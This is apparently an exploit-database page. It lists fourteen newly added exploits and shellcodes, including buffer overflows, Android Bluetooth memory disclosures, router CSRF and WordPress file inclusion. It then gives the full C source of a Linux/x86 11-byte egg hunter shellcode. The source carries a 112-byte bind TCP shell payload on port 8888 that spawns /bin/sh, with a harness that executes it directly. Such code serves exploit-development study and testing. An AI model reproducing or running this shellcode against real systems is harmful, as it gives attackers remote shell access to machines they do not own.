e3fb91f1d7
14 changes to exploits/shellcodes Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read Dell EMC NetWorker - Denial of Service WM Recorder 16.8.1 - Denial of Service Easy Avi Divx Xvid to DVD Burner 2.9.11 - '.avi' Denial of Service Allok Quicktime to AVI MPEG DVD Converter 4.6.1217 - Stack-Based Buffer Overflow Crashmail 1.6 - Stack-Based Buffer Overflow ( ROP execve ) Easy CD DVD Copy 1.3.24 - Local Buffer Overflow (SEH) Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds 140721 - 170109) - Access Control Bypass TL-WR720N 150Mbps Wireless N Router - Cross-Site Request Forgery XenForo 2 - CSS Loader Denial of Service MyBB Plugin Last User's Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion Linux/x86 - EggHunter Shellcode (11 Bytes)
47 lines
No EOL
1.6 KiB
C
47 lines
No EOL
1.6 KiB
C
/*
|
|
# Title: Linux/x86 - EggHunter Shellcode (11 Bytes)
|
|
# Author: Anurag Srivastava
|
|
# Tested on: i686 GNU/Linux
|
|
# Shellcode Length: 11
|
|
#Description: Smallest Null-Free Egg Hunter Shellcode - 11 Bytes
|
|
Details:
|
|
1. Works with an executable EGG
|
|
2. Make sure you clear EDX, EAX registers in the shellcode before any other operations
|
|
#Reference : Nipun Jaswal (@nipunjaswal)
|
|
egg: file format elf32-i386
|
|
|
|
Disassembly of section .text:
|
|
|
|
08048060 <_start>:
|
|
8048060: 40 inc eax
|
|
8048061: 81 38 90 47 90 4f cmp DWORD PTR [eax],0x4f904790
|
|
8048067: 75 f7 jne 8048060 <_start>
|
|
8048069: ff e0 jmp eax
|
|
===============POC by Anurag Srivastava=========================
|
|
*/
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#define EXECEGG "\x90\x47\x90\x4f" //Executable EGG
|
|
|
|
unsigned char egg_hunter[] = \
|
|
"\x40\x81\x38\x90\x47\x90\x4f\x75\xf7\xff\xe0";
|
|
|
|
unsigned char egg[] = \
|
|
EXECEGG
|
|
// Bind TCP Shell 112 Bytes Port 8888
|
|
"\x31\xdb\x31\xc0\xb0\x66\xfe\xc3\x56\x6a\x01\x6a"
|
|
"\x02\x89\xe1\xcd\x80\x97\x56\x66\x68\x22\xb8\x66"
|
|
"\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3"
|
|
"\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x56\x57\x31\xdb"
|
|
"\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb"
|
|
"\xf7\xe3\x56\x56\x57\xb0\x66\xb3\x05\x89\xe1\xcd"
|
|
"\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79"
|
|
"\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
|
|
"\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
|
|
void main()
|
|
{
|
|
printf("Length of Egg Hunter Shellcode: %d\n", strlen(egg_hunter));
|
|
printf("Length of the Actual Shellcode: %d\n", strlen(egg));
|
|
int (*ret)() = (int(*)())egg_hunter;
|
|
ret();
|
|
} |